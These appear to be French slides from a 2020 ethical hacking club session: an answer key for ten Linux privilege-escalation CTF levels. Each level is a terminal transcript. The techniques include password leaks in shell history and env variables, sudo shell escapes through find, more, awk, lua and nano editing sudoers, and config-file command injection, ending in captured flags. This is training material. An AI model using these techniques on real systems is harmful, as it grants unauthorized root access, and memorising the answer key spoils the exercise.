CLUB

ETHICAL HACKING

Edition 2019/2020

CLUSIR Rhône Alpes

Correction

Séance #4

Escalation de privilèges

- Linux -

12 Février 2020

Point de contact

Rémi ALLAIN	<rallain@cyberprotect.one>
Daniel DIAZ	<ddiaz@cyberprotect.one>

CORRECTION / Niveau 1

```
level1@clusir-ceh-20200212:~$ ls -a
.   ..   .bash_history   .bash_logout   .bashrc   .profile

level1@clusir-ceh-20200212:~$ cat .bash_history
ls
ls flag
ls -lash flag
cat flag
sudo cat flag
suu
E8h957wHcwM5Vx
su

level1@clusir-ceh-20200212:~$ su
Password: B8h956wHcwM5Vx

root@clusir-ceh-20200212:/home/level1# cat /root/flag
${CLUSIRceh2020|daLoiRa}
```

CORRECTION / Niveau 2

```
level2@clusir-ceh-20200212:~$ ls -a
.   ..  .bash_logout  .bashrc  .profile

level2@clusir-ceh-20200212:~$ sudo -l
User level2 may run the following commands on clusir-ceh-20200212:
    (root) NOPASSWD: /bin/bash

level2@clusir-ceh-20200212:~$ sudo /bin/bash

root@clusir-ceh-20200212:/home/level2# cat /root/flag
${CLUSIRceh2020|UcKAiLI}
```

CORRECTION / Niveau 3

```
level3@clusir-ceh-20200212:~$ env
SSH_CONNECTION=172.20.0.1 37478 172.20.0.4 22
LANG=C.UTF-8
COLLECTOR_AUTH=root:RThoOTU3d0hjd001Vng=
USER=level3
PWD=/home/level3
HOME=/home/level3
SSH_CLIENT=172.20.0.1 37478 22
SSH_TTY=/dev/pts/0
MAIL=/var/mail/level3
TERM=xterm-256color
SHELL=/bin/bash

level3@clusir-ceh-20200212:~$ su
Password: E8h957wHcwM5Vx

root@clusir-ceh-20200212:/home/level3# cat /root/flag
${CLUSIRceh2020|tionseU}
```

base64 decode:

RThoOTU3d0hjd001Vng=
->
E8h957wHcwM5Vx

CORRECTION / Niveau 4

```
level4@clusir-ceh-20200212:~$ sudo -l
User level4 may run the following commands on clusir-ceh-20200212:
    (root) NOPASSWD: /usr/bin/free
    (root) NOPASSWD: /usr/bin/clear
    (root) NOPASSWD: /usr/bin/find
    (root) NOPASSWD: /bin/ls
    (root) NOPASSWD: /usr/bin/users
    (root) NOPASSWD: /usr/bin/locale
    (root) NOPASSWD: /bin/mkdir
    (root) NOPASSWD: /usr/bin/who
    (root) NOPASSWD: /usr/bin/w
    (root) NOPASSWD: /usr/bin/arch

level4@clusir-ceh-20200212:~$ sudo find -exec /bin/sh \;
# whoami
root
# cat /root/flag
${CLUSIRceh2020|eNsonou}
```

CORRECTION / Niveau 5

```
level5@clusir-ceh-20200212:~$ sudo -l
User level4 may run the following commands on clusir-ceh-20200212:
     (root) NOPASSWD: /usr/bin/free
     (root) NOPASSWD: /usr/bin/clear
     (root) NOPASSWD: /bin/more /home/level5/*
     (root) NOPASSWD: /bin/ls
     ...

level5@clusir-ceh-20200212:~$ sudo more /root/flag
Sorry, user level5 is not allowed to execute '/bin/more /root/flag' as root on
clusir-ceh-20200212.

level5@clusir-ceh-20200212:~$ sudo more /home/level5/.bashrc
> !sh
# whoami
root
# cat /root/flag
${CLUSIRceh2020|x64E2gM9}
```

CORRECTION / Niveau 6

```
level6@clusir-ceh-20200212:~$ sudo -l
User level6 may run the following commands on clusir-ceh-20200212:
    (root) NOPASSWD: /usr/bin/free
    (root) NOPASSWD: /usr/bin/clear
    (root) NOPASSWD: /bin/nano /var/www/*
    …

level6@clusir-ceh-20200212:~$ sudo nano /var/www/../../etc/sudoers
> level6 ALL = (ALL)  NOPASSWD: ALL


level6@clusir-ceh-20200212:~$ sudo -i

root@clusir-ceh-20200212:~# cat /root/flag
${CLUSIRceh2020|GenTBOB}
```

CORRECTION / Niveau 7

```
Lua 5.3.3  Copyright (C) 1994-2016 Lua.org, PUC-Rio
> ls
nil
> os.execute('/bin/bash')

level7@clusir-ceh-20200212:~$ sudo -l
User level7 may run the following commands on clusir-ceh-20200212:
    (root) NOPASSWD: /usr/bin/lua5.3

level7@clusir-ceh-20200212:~$ sudo lua5.3

Lua 5.3.3  Copyright (C) 1994-2016 Lua.org, PUC-Rio
> os.execute('cat /root/flag')
${CLUSIRceh2020|Ajg9sopQ}
true    exit    0
```

CORRECTION / Niveau 8

```
Python 2.7.17 (default, Nov  7 2019, 10:07:09)
>>> import os
>>> os.system('/bin/bash')

level8@clusir-ceh-20200212:~$ sudo -l
User level8 may run the following commands on clusir-ceh-20200212:
    (root) NOPASSWD: /usr/bin/free
    (root) NOPASSWD: /usr/bin/clear
    ...
    (root) NOPASSWD: /usr/bin/awk
    (root) NOPASSWD: /usr/bin/aws
level8@clusir-ceh-20200212:~$ sudo awk 'BEGIN {system("/bin/sh")}'

# whoami
root
# cat /root/flag
${CLUSIRceh2020|aRChiCUr}
```

CORRECTION / Niveau 9

```
level9@clusir-ceh-20200212:~$ sudo -l
    (root) NOPASSWD: /usr/bin/python3 /opt/scripts/pre_connect.py
    ...
    (root) NOPASSWD: /usr/bin/python3 /opt/scripts/cmder.py

level9@clusir-ceh-20200212:~$ ls /var/log
alternatives.log  apt  bootstrap.log  btmp  dpkg.log  faillog  journal
lastlog  scripts.log  tallylog  wtmp

level9@clusir-ceh-20200212:~$ tail /var/log/scripts.log
[2020-01-31 06:29] detection change on /etc/.cmder
[2020-01-31 06:30] executing cmder

level9@clusir-ceh-20200212:~$ cat /etc/.cmder/*
# use by cmder python3 /opt/scripts/cmder.py
EXPORT _IP=10.0.85.123
EXPORT _PORT=6725
EXPORT _GW=10.0.85.1
EXPORT _PROXY=none
/opt/scripts/enroll.py _IP
```

CORRECTION / Niveau 9

```
level9@clusir-ceh-20200212:~$ echo "/bin/bash" > /etc/.cmder/cmder.conf

level9@clusir-ceh-20200212:~$ sudo python3 /opt/scripts/cmder.py

root@clusir-ceh-20200212:~# cat /root/flag
${CLUSIRceh2020|n8N2FB8}
```

CORRECTION / Niveau 10

```
level10@clusir-ceh-20200212:~$ su
root

root@clusir-ceh-20200212:~$ cat /root/flag
${CLUSIRceh2020|TooEasy}
```

Des questions ? → **rallain@cyberprotect.one**